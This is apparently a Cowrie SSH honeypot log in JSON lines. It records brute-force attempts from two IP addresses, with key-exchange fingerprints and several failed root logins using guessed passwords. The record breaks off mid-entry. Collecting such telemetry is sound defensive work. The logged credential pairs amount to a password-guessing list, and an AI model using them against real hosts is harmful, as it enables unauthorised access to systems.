{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:56.342366Z","src_ip":"80.94.92.168","session":"fbe71001d6b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:56.402375Z","src_ip":"60.165.124.241","session":"50fc141a7ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42522,"dst_ip":"10.17.0.5","dst_port":22,"session":"2076857e3ad6","protocol":"ssh","message":"New connection: 60.165.124.241:42522 (10.17.0.5:22) [session: 2076857e3ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:56.629280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:56.634298Z","src_ip":"60.165.124.241","session":"2076857e3ad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:56.869961Z","src_ip":"60.165.124.241","session":"2076857e3ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:57.112736Z","src_ip":"80.94.92.168","session":"fbe71001d6b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcabc123","message":"login attempt [root/abcabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:57.601945Z","src_ip":"60.165.124.241","session":"2076857e3ad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:58.419895Z","src_ip":"80.94.92.168","session":"fbe71001d6b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:58.852917Z","src_ip":"60.165.124.241","session":"2076857e3ad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45420,"dst_ip":"10.17.0.5","dst_port":22,"session":"70fdbaef5a12","protocol":"ssh","message":"New connection: 60.165.124.241:45420 (10.17.0.5:22) [session: 70fdbaef5a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:59.104401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:59.108204Z","src_ip":"60.165.124.241","session":"70fdbaef5a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:59.350721Z","src_ip":"60.165.124.241","session":"70fdbaef5a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123asd","message":"login attempt [root/asd123asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:00.070303Z","src_ip":"60.165.124.241","session":"70fdbaef5a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:01.314325Z","src_ip":"60.165.124.241","session":"70fdbaef5a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48904,"dst_ip":"10.17.0.5","dst_port":22,"session":"9100a7b51c5a","protocol":"ssh","message":"New connection: 60.165.124.241:48904 (10.17.0.5:22) [session: 9100a7b51c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:01.568008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:01.577062Z","src_ip":"60.165.124.241","session":"9100a7b51c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:01.813355Z","src_ip":"60.165.124.241","session":"9100a7b51c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1qaz@WSX","message":"login attempt [root/admin1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:02.526182Z","src_ip":"60.165.124.241","session":"9100a7b51c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:03.765110Z","src_ip":"60.165.124.241","session":"9100a7b51c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52164,"dst_ip":"10.17.0.5","dst_port":22,"session":"483c7fbfcf8b","protocol":"ssh","message":"New connection: 60.165.124.241:52164 (10.17.0.5:22) [session: 483c7fbfcf8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:04.000592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:04.005793Z","src_ip":"60.165.124.241","session":"483c7fbfcf8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:04.244134Z","src_ip":"60.165.124.241","session":"483c7fbfcf8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:04.963577Z","src_ip":"60.165.124.241","session":"483c7fbfcf8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:06.208248Z","src_ip":"60.165.124.241","session":"483c7fbfcf8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55188,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b72ac23ceb2","protocol":"ssh","message":"New connection: 60.165.124.241:55188 (10.17.0.5:22) [session: 4b72ac23ceb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:06.443049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:06.448445Z","src_ip":"60.165.124.241","session":"4b72ac23ceb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:06.690210Z","src_ip":"60.165.124.241","session":"4b72ac23ceb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"KS@gshyx@zl1651","message":"login attempt [root/KS@gshyx@zl1651] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:07.410754Z","src_ip":"60.165.124.241","session":"4b72ac23ceb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:08.650475Z","src_ip":"60.165.124.241","session":"4b72ac23ceb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58500,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e65def4ab31","protocol":"ssh","message":"New connection: 60.165.124.241:58500 (10.17.0.5:22) [session: 1e65def4ab31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:08.922474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:08.928045Z","src_ip":"60.165.124.241","session":"1e65def4ab31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:09.185630Z","src_ip":"60.165.124.241","session":"1e65def4ab31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Iejei4ax","message":"login attempt [root/Iejei4ax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:09.961538Z","src_ip":"60.165.124.241","session":"1e65def4ab31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:11.221895Z","src_ip":"60.165.124.241","session":"1e65def4ab31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33352,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9ef47d4b09d","protocol":"ssh","message":"New connection: 60.165.124.241:33352 (10.17.0.5:22) [session: d9ef47d4b09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:11.461304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:11.466009Z","src_ip":"60.165.124.241","session":"d9ef47d4b09d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:11.719992Z","src_ip":"60.165.124.241","session":"d9ef47d4b09d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nopassword","message":"login attempt [root/nopassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:12.478025Z","src_ip":"60.165.124.241","session":"d9ef47d4b09d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:13.740120Z","src_ip":"60.165.124.241","session":"d9ef47d4b09d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36752,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d88418cad8","protocol":"ssh","message":"New connection: 60.165.124.241:36752 (10.17.0.5:22) [session: f6d88418cad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:13.969410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:13.974467Z","src_ip":"60.165.124.241","session":"f6d88418cad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 